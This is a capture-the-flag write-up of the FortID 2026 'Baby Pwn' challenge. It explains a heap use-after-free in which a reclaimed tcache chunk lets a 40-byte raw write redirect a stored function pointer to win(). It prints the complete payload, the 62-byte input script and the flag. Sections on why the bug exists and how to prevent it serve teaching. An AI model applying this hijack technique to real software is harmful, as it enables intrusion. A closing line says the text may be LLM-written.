Neven Marić
FortID 2026

IntroFortID 2026

Baby Pwn

A favourite-review pointer stays alive after its chunk is freed, and a same-size draft allocation reclaims it, which lets a raw 40-byte write hijack a stored function pointer into win().

  • pwn
  • use-after-free
  • tcache
  • function-pointer
  • heap
  • no-pie

What this one teaches

  • A use-after-free (UAF, using memory after it has been freed) on a heap object that ends in a function pointer turns a stale alias into a control-flow hijack.
  • glibc's tcache hands back a freed chunk to the very next request of the same size, so an attacker can fill that chunk's bytes before the old pointer is used again.
  • A non-PIE (position independent executable) binary keeps every function at a fixed address, so a hijacked call can target a chosen function directly, no leak required.

Task description

Everyone’s opinion matters to us. Submit a review, save your thoughts for later, and make sure your favourite feedback is never forgotten. Can you leave one last review?

The review manager

The handout is an x86-64 binary, chall, with its source, chall.c. The program is a menu loop over three global pointers: review, favourite, and draft. Each review is a fixed 40-byte struct, 32 bytes of text followed by a function pointer, and the draft type is defined to be exactly the same size:

#define REVIEW_TEXT_SIZE 32
struct review {
    char text[REVIEW_TEXT_SIZE];   // offset 0
    void (*display)(review_t *);   // offset 32
};
typedef struct { char contents[sizeof(review_t)]; } draft_t; // also 40 bytes

static review_t *review;
static review_t *favourite;
static draft_t  *draft;

The menu options map onto those pointers directly:

# Function Behaviour
1 submit_review review = malloc(40), reads up to 32 bytes of text, sets review->display = show_review
2 mark_favourite favourite = review (a plain pointer copy)
3 delete_review free(review); review = NULL;
4 write_draft draft = malloc(40), then reads exactly N raw bytes (1 to 40) straight from stdin
5 preview_favourite calls favourite->display(favourite), an indirect call through the stored pointer

win() is compiled in and reads flag.txt, but nothing on a normal path ever calls it; reaching it is the goal.

Confirming the layout and addresses from the ELF

With no debugger available, I parsed the ELF directly in Python to pin down two things the exploit depends on: whether the binary is position-independent, and where win() actually sits. Reading the ELF header and symbol table:

class: ELF64 endian: LE
e_type: 2 ET_EXEC    e_entry: 0x401250
=> PIE? NO (fixed load address)
show_review  = 0x401336
win          = 0x40135f
main         = 0x401847

e_type is ET_EXEC, not ET_DYN, so the binary is not PIE (position independent executable, meaning the loader does not randomise its base). Every function sits at a fixed address, and win() is a constant I can bake into the payload with no information leak. show_review at 0x401336 is the legitimate value submit_review writes into display; win at 0x40135f is the value I want there instead.

The dangling pointer

mark_favourite only copies the pointer, it takes no other kind of reference:

favourite = review;

delete_review frees the chunk review points at and clears review itself, but favourite still holds that same address:

free(review);
review = NULL;

The object is gone, yet preview_favourite will happily run favourite->display(favourite), a use-after-free read of a function pointer out of freed memory.

Reclaiming the chunk

review and draft are both 40-byte allocations, so both are served from the same tcache bin. Once review is freed, the very next 40-byte malloc, which is draft, gets that exact chunk back.

write_draft then fills it with read_exact, a raw fread loop with no null-termination and no newline handling:

static void read_exact(void *destination, size_t size) {
    size_t offset = 0;
    while (offset < size) {
        size_t received = fread((char *)destination + offset, 1, size - offset, stdin);
        if (received == 0) exit(0);
        offset += received;
    }
}

With a length of 40, the full struct is attacker-controlled, including the display pointer at offset 32. The length check in write_draft is 1 <= length <= sizeof(draft->contents), and sizeof(draft->contents) is 40, so 40 is both the maximum the check allows and exactly enough to reach and overwrite all eight pointer bytes. No off-by-one juggling is needed.

What the tcache free-list does, for a non-pwn reader

glibc’s heap allocator keeps recently freed chunks on per-size free-lists so it can answer the next allocation of that size without asking the kernel for memory. The “tcache” (thread-local cache) is the fastest of these: one singly-linked list per small size class, served last-in-first-out.

When delete_review frees the 40-byte review chunk, the allocator does not wipe it; it writes a next-pointer into the chunk’s first bytes and pushes it onto the tcache list for that size. The chunk’s old contents, including the display field, are still sitting in that memory.

The next malloc(40) pops that same chunk straight back off the list and hands it over. That is why draft = malloc(40) returns the exact address favourite is still pointing at. Because the allocator reuses the chunk verbatim, whatever write_draft writes into the draft is written into the object favourite aliases, and there is no grooming or timing to arrange: the reclaim is deterministic.

The exploit chain

1  submit review          review = chunk C,  C->display = show_review (0x401336)
2  mark favourite          favourite = C
3  delete review           free(C) -> tcache[0x30];  favourite still = C
4  write draft, length 40  draft = malloc(40) = C (reclaimed)
                           bytes[0:32]  = padding
                           bytes[32:40] = p64(0x40135f)   // overwrite display -> win
5  preview favourite        favourite->display(favourite)  // == C->display == win()
                           -> win() opens and prints flag.txt

The final payload

The draft write needs 32 bytes of filler to reach offset 32, then win()’s address little-endian:

WIN = 0x40135F
PAYLOAD = b"A" * 32 + struct.pack("<Q", WIN)   # 40 bytes
# PAYLOAD == b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_\x13@\x00\x00\x00\x00\x00'
# last 8 bytes (display pointer): 5f 13 40 00 00 00 00 00

The complete byte stream sent to the program, menu choices and payload together, is 62 bytes:

SCRIPT = (
    b"1\n"          # submit a review
    b"review\n"     # review text
    b"2\n"          # mark it favourite
    b"3\n"          # delete it: free -> tcache 0x30 bin, favourite now dangles
    b"4\n"          # write a draft
    b"40\n"         # draft length 40, reclaims the freed chunk
    + PAYLOAD +     # 40 raw bytes: 32 pad + win() pointer
    b"5\n"          # preview favourite: favourite->display(favourite) -> win()
    b"6\n"          # leave, only reached if the call did not fire
)
# b'1\nreview\n2\n3\n4\n40\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_\x13@\x00\x00\x00\x00\x005\n6\n'

The 40 draft bytes carry no trailing newline, since read_exact consumes them directly through fread; the 5\n right after them is what triggers the hijacked call. Sent to the live instance, the chain lands in win() and returns the flag below. (The live endpoint’s instancer routes by TLS SNI, so the client has to send a server hostname or the shared frontend rejects the connection before the exploit runs at all.)

What makes this exploitable

The bug only exists because favourite keeps pointing at memory that delete_review frees through a different name. Freeing should invalidate every alias, or ownership should be structured so aliasing cannot happen.

A function pointer stored right after an attacker-controlled buffer is risky on its own: once there is any write primitive into that struct, the pointer sitting next to the data becomes a control-flow hijack. Keeping code pointers out of band, say as an index into a fixed table rather than a raw pointer inside the object, closes that off. PIE would also have forced an information leak before win() was usable, and not shipping a win() gadget at all would leave nothing convenient to jump to.

The flagRevealFortID{W0ah_My_F4v0r173_r3viw_C0n7a1n5_4_Fl4G_70b1ba0998}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.